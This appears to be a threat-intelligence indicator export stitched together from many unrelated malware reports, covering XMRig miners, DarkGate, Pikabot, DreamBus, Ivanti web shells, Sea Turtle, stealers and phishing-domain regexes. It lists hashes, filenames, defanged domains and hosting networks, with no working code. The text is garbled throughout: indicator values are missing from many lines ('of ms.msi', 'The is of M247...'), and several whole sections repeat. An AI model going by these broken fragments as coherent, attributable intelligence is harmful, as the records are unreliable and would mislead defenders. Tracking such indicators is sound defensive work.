XMRig cryptocurrency miner configuration file


XMRig cryptocurrency miner downloader shell script


ICS VPN post exploitation indicator


XMRig cryptocurrency mining pool


ipaddress / Observed hosting XMRig cryptocurrency miner


inside PDF


JavaScript Downloading MSI


Screenshotter C2


of the Document.js hosted on the OneDrive


of ms.msi


of WasabiSeed script TermServ.vbs contained inside ms.msi


of MSI payload (Screenshotter) downloaded by WasabiSeed


of “index.js” Screenshotter component


of “snap.exe” Screenshotter component (legitimate IrfanView)


of “app.js” Screenshotter component


Second PowerShell


Final payload


address


Another .msi darkgate loader


sender address (may be spoofed)


sender


DarkGate


sha1: 7d1beb03c32db43f5edd4c28f3c905954e40dbd6 sha256: bb7070cbede294963328119d1145546c2e26709c5cea1d876d234b991682c0b7 filename: pwer


md5: c1070aca9fcff4a32934e6c8aee4ea48 sha256: bb7070cbede294963328119d1145546c2e26709c5cea1d876d234b991682c0b7 filename: pwer


md5: c1070aca9fcff4a32934e6c8aee4ea48 sha1: 7d1beb03c32db43f5edd4c28f3c905954e40dbd6 filename: pwer


md5: c1070aca9fcff4a32934e6c8aee4ea48 sha1: 7d1beb03c32db43f5edd4c28f3c905954e40dbd6 sha256: bb7070cbede294963328119d1145546c2e26709c5cea1d876d234b991682c0b7


sha1: 59ce7486745b08d1adba49f2413133c441194986 sha256: 6b5846f32d8009e6b54743d6f817f0c3519be6f370a0917bf455d3d114820bbc filename: xmrig.x86_64


md5: 9039ae16e5aaa63d9ffe88dfaf0f5108 sha256: 6b5846f32d8009e6b54743d6f817f0c3519be6f370a0917bf455d3d114820bbc filename: xmrig.x86_64


md5: 9039ae16e5aaa63d9ffe88dfaf0f5108 sha1: 59ce7486745b08d1adba49f2413133c441194986 filename: xmrig.x86_64


md5: 9039ae16e5aaa63d9ffe88dfaf0f5108 sha1: 59ce7486745b08d1adba49f2413133c441194986 sha256: 6b5846f32d8009e6b54743d6f817f0c3519be6f370a0917bf455d3d114820bbc


sha1: 79d3143a47dc02768ff5fda8dbcf464c5cdf115b sha256: ca45a14d0e88e4aa408a6ac2ee3012bf9994b16b74e3c66b588c7eabaaec4d72 filename: vin.php


md5: fe53c38f61588efd90af97185e315612 sha256: ca45a14d0e88e4aa408a6ac2ee3012bf9994b16b74e3c66b588c7eabaaec4d72 filename: vin.php


md5: fe53c38f61588efd90af97185e315612 sha1: 79d3143a47dc02768ff5fda8dbcf464c5cdf115b filename: vin.php


md5: fe53c38f61588efd90af97185e315612 sha1: 79d3143a47dc02768ff5fda8dbcf464c5cdf115b sha256: ca45a14d0e88e4aa408a6ac2ee3012bf9994b16b74e3c66b588c7eabaaec4d72


sha1: 09bd9b17a64b20ba66582dbc3ce08169697177a8 sha256: 23fc51fde90d98daee27499a7ff94065f7ed4ac09c22867ebd9199e025dee066


md5: 62a06bea8c6e276b5e532944cfc863e5 sha256: 23fc51fde90d98daee27499a7ff94065f7ed4ac09c22867ebd9199e025dee066


md5: 62a06bea8c6e276b5e532944cfc863e5 sha1: 09bd9b17a64b20ba66582dbc3ce08169697177a8


sha1: 270e1c883b498eaff08550e823f5cac21bff54e5 sha256: dcf8f640dd7cc27d2399cce96b1cf4b75e3b9f2dfdf19cee0a170e5a6d2ce6b6 filename: aas


md5: 6e793efe40e355643423f53de43952d3 sha256: dcf8f640dd7cc27d2399cce96b1cf4b75e3b9f2dfdf19cee0a170e5a6d2ce6b6 filename: aas


md5: 6e793efe40e355643423f53de43952d3 sha1: 270e1c883b498eaff08550e823f5cac21bff54e5 filename: aas


md5: 6e793efe40e355643423f53de43952d3 sha1: 270e1c883b498eaff08550e823f5cac21bff54e5 sha256: dcf8f640dd7cc27d2399cce96b1cf4b75e3b9f2dfdf19cee0a170e5a6d2ce6b6


sha1: 452ec481734a78597b928e29c834d0e43fb2c7e2 sha256: 59e90be75e51c86b4b9b69dcede2cf815da5a79f7e05cac27c95ec35294151f4 filename: evil.txt


md5: 1fb78440dc44b0900b27260a16d9771e sha256: 59e90be75e51c86b4b9b69dcede2cf815da5a79f7e05cac27c95ec35294151f4 filename: evil.txt


md5: 1fb78440dc44b0900b27260a16d9771e sha1: 452ec481734a78597b928e29c834d0e43fb2c7e2 filename: evil.txt


md5: 1fb78440dc44b0900b27260a16d9771e sha1: 452ec481734a78597b928e29c834d0e43fb2c7e2 sha256: 59e90be75e51c86b4b9b69dcede2cf815da5a79f7e05cac27c95ec35294151f4


sha1: 5fae94432540ade68eabce94140c9a5be153b3c8 sha256: 0df17ad20bf796ed549c240856ac2bf9ceb19f21a8cae2dbd7d99369ecd317ef filename: MARIJUANA[1].php


md5: 95f745a5db131b1ca34e44848fd52edb sha256: 0df17ad20bf796ed549c240856ac2bf9ceb19f21a8cae2dbd7d99369ecd317ef filename: MARIJUANA[1].php


md5: 95f745a5db131b1ca34e44848fd52edb sha1: 5fae94432540ade68eabce94140c9a5be153b3c8 filename: MARIJUANA[1].php


md5: 95f745a5db131b1ca34e44848fd52edb sha1: 5fae94432540ade68eabce94140c9a5be153b3c8 sha256: 0df17ad20bf796ed549c240856ac2bf9ceb19f21a8cae2dbd7d99369ecd317ef


AMOS Old Version


AMOS New Version


pandoraspear sample


pandoraspear C2


pandoraspear C2 / United States|Missouri|Saint Louis AS30083|GoDaddy.com, LLC


pcdn sample


pcdn C2


pcdn


DDoS builder C2


Downloader / United States|California|Los Angeles AS174|Cogent Communications


Downloader


Hosts Downloader


Hosts


Hosts / Canada|British Columbia|Coquitlam AS11831|eSecureData


Hosts / China|Taiwan|Taipei City AS16625|Akamai Technologies, Inc


Hosts / United States|Oregon|Portland AS16509|Amazon.com, Inc


Hosts / Canada|British Columbia|Vancouver AS11831|eSecureData


Hosts / United States|Missouri|Saint Louis AS30083|GoDaddy.com, LLC


Hosts / United States|Utah|Ogden AS53850|GorillaServers, Inc


Hosts / United States|California|San Jose AS54600|PEG TECH INC


Hosts / The Netherlands|Noord-Holland|Amsterdam AS60781|LeaseWeb Netherlands B.V


Hosts / Japan|Tokyo|Tokyo AS16509|Amazon.com, Inc


Hosts / United States|California|San Francisco AS16509|Amazon.com, Inc


Hosts / China|Hongkong|Hongkong AS137443|Anchnet Asia Limited


Hosts / Canada|Ontario|Toronto AS174|Cogent Communications


Hosts / The Netherlands|Noord-Holland|Haarlem AS174|Cogent Communications


Hosts / United States|Colorado|Denver AS174|Cogent Communications


Hosts / United States|None|None AS396982|Google LLC


Hosts / United States|California|Mountain View AS396982|Google LLC


BotGetKeyChromium


ResetMainBot


pandoraspear sample


pandoraspear C2


pandoraspear C2 / United States|Missouri|Saint Louis AS30083|GoDaddy.com, LLC


pcdn sample


pcdn C2


pcdn


DDoS builder C2


Downloader / United States|California|Los Angeles AS174|Cogent Communications


Downloader


Hosts Downloader


Hosts


Hosts / Canada|British Columbia|Coquitlam AS11831|eSecureData


Hosts / China|Taiwan|Taipei City AS16625|Akamai Technologies, Inc


Hosts / United States|Oregon|Portland AS16509|Amazon.com, Inc


Hosts / Canada|British Columbia|Vancouver AS11831|eSecureData


Hosts / United States|Missouri|Saint Louis AS30083|GoDaddy.com, LLC


Hosts / United States|Utah|Ogden AS53850|GorillaServers, Inc


Hosts / United States|California|San Jose AS54600|PEG TECH INC


Hosts / The Netherlands|Noord-Holland|Amsterdam AS60781|LeaseWeb Netherlands B.V


Hosts / Japan|Tokyo|Tokyo AS16509|Amazon.com, Inc


Hosts / United States|California|San Francisco AS16509|Amazon.com, Inc


Hosts / China|Hongkong|Hongkong AS137443|Anchnet Asia Limited


Hosts / Canada|Ontario|Toronto AS174|Cogent Communications


Hosts / The Netherlands|Noord-Holland|Haarlem AS174|Cogent Communications


Hosts / United States|Colorado|Denver AS174|Cogent Communications


Hosts / United States|None|None AS396982|Google LLC


Hosts / United States|California|Mountain View AS396982|Google LLC


Appendix / #only test in


AMOS Old Version


AMOS New Version


Context :Typosquatted Grammarly


Context :Resolves to 193.233.22[.]126, hosted POWERTRASH malware


Context :PowerShell made a network connection to this


Context :Resolves to 166.1.160[.]205, NetSupport RAT C2


Context for Active Directory information export


Context on disk for NetSupport RAT


Context :Malicious MSIX


Context :Malicious PowerShell Script


Context :NetSupport RAT


Context :Malicious MSIX file


Context :Hosts zatravnik1[.]com domain, NetSupport RAT C2


Context :Hosted malicious storageplace[.]pro domain, hosted POWERTRASH malware


Context :Hosts typosquatted Grammarly domains


Context :Python reached out to this


Context :Install.exe


Context :Malicious PowerShell reached out to this


Context :Malicious PowerShell reached out to this Resolves to 195.161.114[.]3


Context :Resolves to 195.161.114[.]3, which is a ArechClient2 C2


Context :Malicious PowerShell reached out to this Resolves to 81.177.140[.]69


Context :Resolves to 31.172.76[.]107, which is a ArechClient2 C2


Context :Resolves to 81.177.140[.]69, has hosted ArechClient2 in the past


Context :Malicious Powershell reached out to this


Context :Malicious associated with ArechClient2 and Redline


Context :Malicious MSIX


Context :Malicious RAR downloaded from fullpower682[.]store


Context :Malicious PowerShell script


Context :Redline Stealer


Context :Hash for a file named sqlite.dll that was used in search order hijacking


Context :Malicious PowerShell


Context :ArechClient2 C2


Context :Redline C2


Context


Context :Hosts numerous malicious domains, including next-traf623[.]site


Bot.py, January 2024 version of FBot


April 2023 version of FBot


Bot.py, July 2022 version of FBot


DreamBus PostgreSQL module


DreamBus Redis module


DreamBus Metabase module


DreamBus Hadoop Yarn module


DreamBus Hashicorp Consul module


DreamBus RocketMQ module


DreamBus SSH module


DreamBus XMRig miner


DreamBus C2


DreamBus Monero mining pool


DreamBus C2 address


filepath: /tmp/.systemd.3


filename: .systemd.3


filepath: /tmp/.json[ipaddress]


filename: .json[ipaddress]


LIGHTWIRE Web shell


WARPWIRE Credential harvester


ZIPLINE Passive backdoor


THINSPOOL Web shell dropper


WIREFIRE Web shell


THINSPOOL Utility Script


WARPWIRE C2


ipaddress / DigitalOcean address tied to UTA0178


Suspected UTA0178 discovered via registration patterns


UTA0178 used to collect credentials from compromised devices


ipaddress / UTA0178 address observed interacting with compromised device


ipaddress / UTA0178 address observed interacting with compromised device tied to Cyberoam proxy network


Malvertising chain


Decoy site


FakeBat C2


FakeBat payload


Atomic Stealer payload


FakeBat


Atomic Stealer


filename: Telegram Viewer.ipa


md5: 660ccad4b26abc543e64fe2319ae5771


filename: viewer


md5: 47f2c25499473a82348d1a1568c6b591


C2 Server


Austria Wien Vienna AS57169 EDIS GmbH


Poland Mazowieckie Warsaw AS9009 M247 Europe SRL


France Ile-de-France Paris AS9009 M247 Europe SRL


France Ile-de-France Bagnolet AS9009 M247 Europe SRL


Spain Andalucia Sevilla AS39020 Comvive Servidores S.L


United States Florida Miami AS9009 M247 Europe SRL


China Hongkong Hongkong AS9009 M247 Europe SRL


Japan Tokyo Tokyo AS9009 M247 Europe SRL


Chile Region Metropolitana de Santiago Santiago AS136258 BrainStorm Network Inc


Argentina Ciudad Autonoma de Buenos Aires Buenos Aires AS136258 BrainStorm Network Inc


United Kingdom England London AS16276 OVH SAS


United States Texas Dallas AS46475 Limestone Networks Inc


Russia Moscow Moscow AS136258 BrainStorm Network Inc


Russia Moscow Moscow AS56630 Melbikomas UAB


France Ile-de-France Paris AS44477 STARK INDUSTRIES SOLUTIONS LTD


The Netherlands Noord-Holland Amsterdam AS44477 STARK INDUSTRIES SOLUTIONS LTD


Russia Moscow Moscow AS0


Russia Sankt-Peterburg Saint Petersburg AS9009 M247 Europe SRL


United Arab Emirates Dubayy Dubai AS9009 M247 Europe SRL


United Kingdom England London AS9009 M247 Europe SRL


Germany Hessen Frankfurt am Main AS63949 Akamai Technologies Inc


Austria|Wien|Vienna AS57169|EDIS GmbH


Poland|Mazowieckie|Warsaw AS9009|M247 Europe SRL


France|Ile-de-France|Paris AS9009|M247 Europe SRL


France|Ile-de-France|Bagnolet AS9009|M247 Europe SRL


Spain|Andalucia|Sevilla AS39020|Comvive Servidores S.L


United States|Florida|Miami AS9009|M247 Europe SRL


China|Hongkong|Hongkong AS9009|M247 Europe SRL


Japan|Tokyo|Tokyo AS9009|M247 Europe SRL


Chile|Region Metropolitana de Santiago|Santiago AS136258|BrainStorm Network, Inc


Argentina|Ciudad Autonoma de Buenos Aires|Buenos Aires AS136258|BrainStorm Network, Inc


United Kingdom|England|London AS16276|OVH SAS


United States|Texas|Dallas AS46475|Limestone Networks, Inc


Russia|Moscow|Moscow AS136258|BrainStorm Network, Inc


Russia|Moscow|Moscow AS56630|Melbikomas UAB


France|Ile-de-France|Paris AS44477|STARK INDUSTRIES SOLUTIONS LTD


The Netherlands|Noord-Holland|Amsterdam AS44477|STARK INDUSTRIES SOLUTIONS LTD


Russia|Moscow|Moscow AS0


Russia|Sankt-Peterburg|Saint Petersburg AS9009|M247 Europe SRL


United Arab Emirates|Dubayy|Dubai AS9009|M247 Europe SRL


United Kingdom|England|London AS9009|M247 Europe SRL


Germany|Hessen|Frankfurt am Main AS63949|Akamai Technologies, Inc


tortilla.exe


20231121084934-Re_ PRJIT80245790581.202307.1038-mgboto.eml


20231121085513-Re_ IMPORTANT COMMUNICATION FROM OU-[REDACTED].eml


20231121085656-Re_ URGENTE - Op4148301 - 003-afeloca.eml


20231121090601-Re_ W4M_2457 _ Condomínio do-u10053918.eml


20231121091041-Re_ NOS561681398996_NIF 501585-nrodrigues.eml


20231121090330-Re_ Falhas de arranqque sucessiv-[REDACTED].eml


202311211437_Scanned from a Xerox Multifunction Printer 21 November 2023 .eml


20231121084051-Re_ THE FATHER - Cine-Teatro Marq-mbxusr2567.eml


Trojan.LNK.PIKABOT.YXDKVZ


Trojan.PDF.PIKABOT.A


Trojan.PDF.PIKABOT.B


Trojan.PDF.PIKABOT.C


Trojan.PDF.PIKABOT.YXDLNZ


Trojan.PDF.PIKABOT.YADLN


Trojan.JS.PIKABOT.YXDKFZ


Trojan.JS.PIKABOT.A


Trojan.JS.PIKABOT.D


Trojan.JS.PIKABOT.B


Trojan.JS.PIKABOT.YXDKDZ


Pikabot downloader


Black Basta Cobalt Strike DNS beacons


Black Basta Cobalt Strike HTTPS beacons


Scan and infect address (Hadoop)


Download server (Hadoop)


Scan and infect address (Flink)


Download server (Flink)


Mining address


filename: dca.sh


md5: 58794e43c039fe20281bf0777721c8ce


filename: dcd.sh


md5: 94e0f679758facf683a217774e29c2b2


Main payload, dca malware / Name dca


Main payload, dcd malware / Name dcd


XMRIG cryptominer / Name tmp


Proccesshider rootkit


Initial


Command and Control


The is of M247 Europe SRL located in Belgium and was used as VPN by Sea Turtle to logon to a cPanel account


The is of Arelion and located in Denmark and was used as VPN by Sea Turtle to logon on to a cPanel account


The is of Snel.com and located in the Netherlands. The was used to logon to a cPanel account and to download the source code of the malware SnappyTCP


The malware SnappyTCP was used by Sea Turtle to establish a command-and-control channel with the name


A modified version of the tool Socat used by Sea Turtle to setup a command-and-control channel


Stage1 sample


Stage2 sample


Stage3 sample with DGA


Decoy RAT client


C&C server


Backdoor ( 005af9cf1 )


w.exe ransomware binary


1.exe ransomware binary


Locker.exe ransomware binary


w.zip


GXC Team


GXC Team / bryan@imprinted


Germany|None|None AS44592|SkyLink Data Center BV


Bulgaria|Plovdiv|Karlovo AS31420|Terasyst Ltd


OpenNIC


ICANN


United States|Illinois|Chicago AS40676|Psychz Networks


Germany|Nordrhein-Westfalen|Dusseldorf AS24961|myLoc managed IT AG


Bulgaria|Sofia|Unknown AS50360|Tamatiya EOOD


Germany|Nordrhein-Westfalen|Dusseldorf AS174|Cogent Communications


Netherlands|North Holland|Amsterdam AS394711|LIMENET


India|None|None AS213200|Ferdinand Zink trading as Tube-Hosting


OpenNIC域名


ICANN域名


MetaStealer


SmokeLoader File


8base Ransomware File


filename: Skype.exe


sha256: 01b8a91f3d4446f2bdd22c85b225dfd2f619951e8f33178c3185dbf7543845df


sha256: 01d1b63eace6383428e42c48f3d1e13e643e8a8f70d4af5d4ee6f47a0522e300


filename: 3_Members_of_the_Committee_on_National_Defence_and_Foreign_Affairs.exe


sha256: 0dda7e987104867695be561a8008d3282252e05c611c247eae62c7b798be0e24


sha256: 13171d3b1acf5ffbae47777cae03d5d6cb96d2d9b76fe4491bf547b2e309fb52


filename: SkypeApp.exe


sha256: 1de46a62f53dbf3b4668bfa7fe63c022c541d8651f776fa5fd8060f21036e63a


filename: System.exe


sha256: 528fd0b183dd1ca2d109af1714d1ee89d3244c37451203b7b14e951742e16741


sha256: 702108f50f953aff3c2b345c2604e9fa614cb86d8299c209065b41878fd4f66b


xss[.]codes / (potential test xlsm)


sha256: 85ee62d57a17221e52325020b4d6f587f68fb321723be7ed794503b40bd989f7


filename: [kauditd]


sha256: 86b13a1058dd7f41742dfb192252ac9449724c5c0a675c031602bd9f36dd49b5


sha256: 94e7fff8d4abccca0080004a497153ce04f74f7507b52ca092462e22d84f0f8a


sha256: aebc8acd17e247c8892e6a8226be4dbf2af3848bdcc1cc1536d1f8487bed55a4


sha256: b0307e523e5893f2a865b0abea91cb4fb2e9d86fc71e33adaf63c8878fac2748


filename: Skype.exe


sha256: be4590c31e8385a67394f7d49147a0b97cff07da6ff771614d3d3ed9ad2cd49f


filename: xlsm


sha256: d7f53836227dde351def7c1a5e9dd03c3a49bdc4eec6342136795038aa6d415d


filename: Update.exe


sha256: ef1af0acb25dc88b223c7b6a6be48d35a64665bb372cf8b7674cacd5818f7ff3


filename: mpam-fe.exe


sha256: f5e0edca8a63eb45054039104f509ef0e66fc2e67637614a0f386803506cbac1


filename: upxa.sh


sha256: f8cb77919f411db6eaeea8f0c8394239ad38222fe15abc024362771f611c360f


Upgrade Required" / nuceciwan[.]newssolhaber[.]newsloading-website[.]net / “Nûçe Ciwan” is an oft-targeted Turkish news source“Sol” is a Turkish newspaper. “haber” is Turkish for “news”


Upgrade Required" / solhaber[.]info / “sol” is a Turkish newspaper


Upgrade Required" / caglayandergisi[.]net / “Çağlayan Dergisi” is a Turkish blogger


Upgrade Required" / infohaber[.]net / “haber” is Turkish for “news”


Upgrade Required" / 206.71.149[.]112 / 146.70.157[.]28


Upgrade Required" / exp-al-marsad[.]co (PTR) / not registered, although “Sl Marsad” is a human rights organization in the region


serverssl.net / mat-46.mehreganmobile[].gairan-azad[.]cyou / These domains were seen pointing to .232 only before the “upgrade behavior” started. Additional overlaps show lure domains with Iranian dissidents, such as Mahsa Aminiw, but will not be included in the high confidence indicator list


loading-website.net


2022-11-26T11:23:56 / 2023-11-16 13:55:34 / 2024-02-14 13:55:33


2023-11-24T07:00:00 / 2023-11-24 07:57:35 / 2024-02-22 07:57:34


2023-01-19T07:00:00 / 2023-01-19 13:33:27 / 2023-04-19 13:33:26


2023-11-10T07:00:00 / 2023-11-14 07:47:07 / 2024-02-12 07:47:06


2022-11-17T07:00:00 / 2023-08-24 12:52:02 / 2024-02-11 09:38:19


2023-03-24T07:35:38 / 2023-08-04 18:08:37 / 2023-11-02 18:08:36


2023-11-13T21:52:21 / 2023-11-13 00:00:00 / 2024-02-11 23:59:59


BLNWX, US / 2023-12-15 / yes / yes


BLNWX, US / / no / yes


BLNWX, US / 2023-09-24 / yes / yes


BLNWX, US / 2023-11-02 / yes / yes


BLNWX, US / 2023-10-11 / yes / no


BLNWX, US / 2023-12-01 / yes / no


BLNWX, US / 2023-11-19 / yes / no


BLNWX, US / 2023-12-20 / yes / no


BLNWX, US / 2023-11-03 / yes / no


BLNWX, US / / yes / no


BLNWX, US / 2023-12-03 / yes / no


BLNWX, US / 2023-12-19 / yes / yes


BLNWX, US / 2023-10-17 / yes / no


BLNWX, US / 2023-12-23 / yes / no


NETERRA-AS, BG / 2023-11-10 / yes / no


BLNWX, US / 2023-10-05 / yes / no


BLNWX, US / 2023-12-06 / yes / no


where else have we seen this cert, that was not on a previous indicator list? / 168.100.10[.]204168.100.8[.]103192.153.57[.]204206.188.196[.]90193.149.129[.]128 / Potentially interesting an additional hop away, but many at the same provider. Without stronger links, these artifacts have a lower confidence168.100.8[.]103infoviewdr[.]click, accepteddr[.]click168.100.10[.]204test.allsocial[.]site168.100.8[.]24appmetadata[.]co


Stealer Payload


com.android.accessibility.service


com.android.callllogbacup


com.android.dreammusic


com.android.statementsandservices


com.android.ui.clock


com.android.version.shared


com.anomenforyou.essentialhoroscope


com.browgames.stepkeepereasymeter


com.devapps.soundvolumebooster


com.kolomia.mineskineditor


com.lakhinstudio.counteasycaloriecalculator


com.littleray.skineditorforpeminecraft


com.muranogames.easyworkoutsathome


com.Osinko.HoroscopeTaro


com.regaliusgames.llinkgame


com.shvetsStudio.trackYourSleep


com.turovskyi.magicofnumbers


com.Ushak.NPHOROSCOPENUMBER


com.vyblystudio.dotslinkpuzzles


us[a-z]+.top


usps?[a-z]+.<tld>


usps.com.usp[a-z]+.shop


arrive[a-z]+.top


resolving to 155[.]94[.]163[.]86


resolving to 204[.]44[.]75[.]194


operated by QuadraNet Enterprises, LLC (ASN 64270)


SFX


VBS


Decoy


LNK


HTA


CVE-2023-38831 ZIP


CVE Payload


Chrome / Z72645c414ce232f45.Z35aad4dde2ff09b48


filename: com.busy.lady


sha256: 0a6ffd4163cd96d7d262be5ae7fa5cfc3affbea822d122c0803379d78431e5f6


filename: IPR_2023-24.pdf.zip


md5: 56cb95b63162d0dfceb30100ded1131a


filename: IPR_2023-24.pdf.lnk


md5: 13ee4bd10f05ee0499e18de68b3ea4d5


filename: DSOP-NOM.ppam


md5: de30abf093bd4dfe6b660079751951c6


filename: in.ps1


md5: c9969ece7bb47efac4b3b04cdc1538e5


filename: In.ps1


md5: f14e778f4d22df275c817ac3014873dc


filename: Mail_check.ps1


md5: 501a6d48fd8f80a134cf71db3804cf95


filename: sys.ps1


md5: 6d29fc0a73096433ff9449c4bbc4cccc


filename: Ipr.pdf


md5: a9182c812c7f7d3e505677a57c8a353b


filename: abc009.pdf


md5: f5d8664cbf4a9e154d4a888e4384cb1d


filename: 1.pdf


md5: 3ce8dfb3f1bff805cb6b85a9e950b3a2


md5: a696c50dd5d15ba75c9e7f8d3c64997c


Documents\downloadAndExecuteLog.txt


Documents\myfile.zip


Documents\paths.txt


Documents\syscheck.zip


%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\MySystem.exe


%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\syscheck.exe


Windows Executable.NET / Yessignature:F5UPDATER, filename: F5UPDATER.exe


Windows Executable.NET / Yessignature:F5UPDATER, sha256: fe07dca68f288a4f6d7cbd34d79bb70bc309635876298d4fde33c25277e30bd2


Windows Executable.NET / Yessignature:F5UPDATER, sha256: ca9bf13897af109cb354f2629c10803966eb757ee4b2e468abc04e7681d0d74a


Windows Executable.NET / No, filename: Hatef.exe


Windows Executable.NET / No, sha256: e28085e8d64bb737721b1a1d494f177e571c47aab7c9507dba38253f6183af35


Windows ExecutableDelphi / No, filename: Handala.exe


Windows ExecutableDelphi / No, sha256: 454e6d3782f23455875a5db64e1a8cd8eb743400d8c6dadb1cd8fd2ffc2f9567


Encrypted bash script, filename: update.sh


Encrypted bash script, sha256: 6f79c0e0e1aab63c3aba0b781e0e46c95b5798b2d4f7b6ecac474b5c40b840ad


Windows Executable / No, filename: FlashDevelop